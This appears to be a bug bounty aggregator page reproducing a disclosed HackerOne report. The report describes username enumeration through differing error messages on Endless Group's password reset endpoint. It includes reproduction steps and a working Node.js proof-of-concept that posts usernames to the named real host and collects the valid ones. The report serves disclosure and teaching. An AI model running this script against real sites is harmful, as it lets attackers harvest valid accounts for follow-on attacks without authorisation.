Skip to content
Info disclosure Disclosed report Beginner

Enumeration of username on password reset page

The password reset page returns different error messages depending on whether a username exists, allowing an attacker to enumerate valid usernames. An attacker could automate this to build a list of valid usernames.

codermak Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 3 months
  • Disclosed after 4 months

Summary:

Reset password page api call, can be used to enumerate usernames based on the error message

Steps To Reproduce:

[add details for how we can reproduce the issue]

1. Go to password reset page
2. Enter username and click submit
3. Check email for password reset code, open the url in any browser
4. Change the username in url to somewrong username and click on `Request New Password` button you will get error message saying `No user`
5. Change the username in url to some username which exists other than which is used in step 2, click on `Request New Password` you will get error message saying `No such username in the request list. Your request may have expired.`
6. Based on this, if a username does not exists, error message `No User` is shown and if username exists `No such username in the request list. Your request may have expired.` error message is shown.
7. This can be automated with an username list and easily list of valid usernames can be generated

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

PoC

const fetch = require('node-fetch');
let usernames = [
  'codermak',
  'codermmak',
  'codermak2',
  'codermak222'
];
let validUsernames = [];

const request = async (input) => {
  const res = await fetch("https://da.theendlessweb.com:2222/CMD_LOST_PASSWORD", {
    "credentials": "include",
    "headers": {
      "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:73.0) Gecko/20100101 Firefox/73.0",
      "Accept": "*/*",
      "Accept-Language": "en-US,en;q=0.5",
      "Content-Type": "application/x-www-form-urlencoded"
    },
    "referrer": "https://da.theendlessweb.com:2222/lost-password?username=codermak2&code=test",
    "body": `action=code&username=${input}&code=test&json=yes`,
    "method": "POST",
    "mode": "cors"
  });

  const text = await res.text();
  try {
    const result = JSON.parse(text);
    const errMessage = result.error;
    if (errMessage === 'No such username in the request list.  Your request may have expired.') {
      validUsernames.push(input);
    }
  } catch (err) {

  }
};


const main = async () => {
  for (const username of usernames) {
    await request(username);
  }

  console.log(validUsernames);
}

main();

Impact

Attacker can easily find list of large amount of valid usernames by using some common usernames dictionaries avaialble on internet.

The original report as published on HackerOne, by codermak. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could easily find a large list of valid usernames by using common username dictionaries available on the internet.

What the attacker needed

Access to password reset page; valid email to receive reset code; username list

How it was found

  1. Go to the password reset page.
  2. Enter a username and submit to receive a reset code by email.
  3. Open the reset URL from the email in a browser.
  4. Change the username in the URL to a non-existent one and request a new password; an error 'No user' appears.
  5. Change the username to a different existing one and request a new password; an error 'No such username in the request list. Your request may have expired.' appears.
  6. Automate this with a username list to identify valid usernames.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you try to reset a password, the website tells you if the username is wrong in two different ways. One message means the username is not registered, the other means it is. By trying many usernames, an attacker can find out which ones are real.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by codermak

View all

10 more disclosed reports, best first.

More from Endless Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.